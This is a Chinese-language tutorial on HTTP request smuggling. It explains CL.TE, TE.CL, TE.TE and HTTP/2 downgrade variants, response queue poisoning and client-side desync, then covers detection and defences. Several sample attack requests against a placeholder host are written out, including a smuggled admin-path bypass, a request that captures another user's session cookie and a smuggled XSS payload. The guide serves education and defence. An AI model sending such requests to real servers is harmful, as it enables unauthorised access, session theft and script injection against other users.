HTTP请求走私攻击全面解析与防御指南
1. HTTP请求走私概述
HTTP请求走私攻击(HTTP Request Smuggling)是一种利用前端服务器(如反向代理、负载均衡)与后端服务器对HTTP请求边界解析不一致的安全漏洞。攻击者通过精心构造的HTTP请求,在一个请求中"夹带"另一个或多个请求,绕过安全控制或干扰其他用户的请求。
1.1 漏洞产生原理
HTTP规范提供了两种指定请求结束位置的方法:
- Content-Length头:以字节为单位指定消息正文长度
- Transfer-Encoding头:指定使用分块编码(chunked)
当这两种方法同时存在且服务器处理不一致时,就会产生请求走私漏洞。
1.2 攻击危害
HTTP请求走私可导致:
- 绕过前端安全控制
- 未授权访问敏感数据
- 窃取其他用户的请求和会话
- 反射型XSS攻击
- Web缓存投毒
- 开放重定向
- 全站接管等严重后果
2. HTTP请求走私攻击类型
2.1 CL.TE漏洞
特征:前端使用Content-Length头,后端使用Transfer-Encoding头
攻击示例:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 13
Transfer-Encoding: chunked
0
SMUGGLED
原理:
- 前端认为请求体长度为13字节(包括"0\r\n\r\n")
- 后端使用分块编码,看到"0"后认为请求结束
- "SMUGGLED"被当作下一个请求的开始
2.2 TE.CL漏洞
特征:前端使用Transfer-Encoding头,后端使用Content-Length头
攻击示例:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 3
Transfer-Encoding: chunked
8
SMUGGLED
0
原理:
- 前端使用分块编码,看到"0"后认为请求结束
- 后端使用Content-Length头,只读取前3字节("8\r\n")
- 剩余部分被当作下一个请求
2.3 TE.TE漏洞(混淆TE头)
特征:前后端都支持Transfer-Encoding头,但可通过混淆使其一端不处理
混淆方法:
Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked[space]
Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked
3. HTTP/2请求走私
3.1 HTTP/2降级风险
HTTP/2降级是指前端将HTTP/2请求转换为HTTP/1.1请求转发给后端。这种转换过程可能引入请求走私漏洞。
3.2 H2.CL漏洞
特征:前端使用HTTP/2内置长度机制,后端使用Content-Length头
攻击示例:
POST / HTTP/2
Host: vulnerable-website.com
Content-Length: 0
SMUGGLED
3.3 H2.TE漏洞
特征:前端忽略Transfer-Encoding头,后端处理Transfer-Encoding头
攻击示例:
POST / HTTP/2
Host: vulnerable-website.com
Transfer-Encoding: chunked
0
SMUGGLED
4. 高级攻击技术
4.1 响应队列投毒
通过走私完整请求,使前端服务器将后端响应映射到错误请求,导致:
- 窃取其他用户的响应
- 破坏通过同一连接的其他用户请求
攻击流程:
- 走私一个完整请求
- 后端返回两个响应
- 前端将第二个响应保存到队列
- 后续请求会收到队列中的响应
4.2 HTTP/2请求拆分
在HTTP/2降级时,在头中拆分请求:
攻击示例:
:method POST
:path /example
:authority vulnerable-website.com
foo bar\r\n
\r\n
GET /x HTTP/1.1\r\n
Host: x
4.3 HTTP请求隧道
当服务器不重用连接时,仍可通过隧道技术:
- 绕过前端安全措施
- 泄漏内部头
- 实现盲请求隧道
4.4 客户端异步攻击(CSD)
使受害者的浏览器与漏洞网站连接不同步:
攻击流程:
- 受害者访问恶意网站
- 浏览器向漏洞网站发送跨域请求
- 恶意前缀留在服务器连接上
- 后续请求被附加到恶意前缀
5. 漏洞检测方法
5.1 计时技术
检测CL.TE:
发送CL大于实际长度的请求,观察是否超时
检测TE.CL:
发送被空行分隔的两部分请求,观察是否超时
5.2 响应差异
发送两次请求:
- 第一次:魔改请求包
- 第二次:正常请求
观察第二次响应是否异常
6. 漏洞利用场景
6.1 绕过前端安全控制
示例:
POST /home HTTP/1.1
Host: vulnerable-website.com
Content-Length: 62
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
Host: vulnerable-website.com
Foo: x
6.2 窃取用户请求
通过评论等功能存储其他用户请求:
POST /post/comment HTTP/1.1
Host: vulnerable-website.com
Content-Length: 400
comment=GET / HTTP/1.1
Host: vulnerable-website.com
Cookie: session=jJNLJs2RKpbg9EQ7iWrcfzwaTvMw81Rj
6.3 反射型XSS
通过UA头注入:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 63
Transfer-Encoding: chunked
0
GET / HTTP/1.1
User-Agent: <script>alert(1)</script>
Foo: X
6.4 Web缓存投毒
攻击流程:
- 走私请求引发开放重定向
- 缓存恶意响应
- 其他用户访问时收到恶意内容
7. 防御措施
7.1 通用防御
- 使用HTTP/2端到端:尽可能禁用HTTP降级
- 规范化请求:前端规范化不明确请求,后端拒绝不明确请求
- 连接处理:异常时默认丢弃连接
- 严格验证:拒绝包含可疑头或方法的请求
7.2 针对CL.TE/TE.CL
- 禁用有冲突的头部组合
- 强制使用单一长度指定方法
7.3 针对HTTP/2
- 避免不必要的HTTP/2降级
- 严格验证降级后的HTTP/1.1请求
7.4 针对响应队列投毒
- 限制每个连接的请求/响应数量
- 实施严格的连接超时
8. 总结
HTTP请求走私是一种危害严重且难以检测的Web安全漏洞,攻击者可以利用它绕过安全控制、窃取敏感数据甚至接管整个系统。防御这类攻击需要全面了解HTTP协议细节,并在整个请求处理链中实施一致的请求解析策略。通过端到端使用HTTP/2、严格请求验证和规范化,以及适当的连接管理,可以有效降低此类攻击的风险。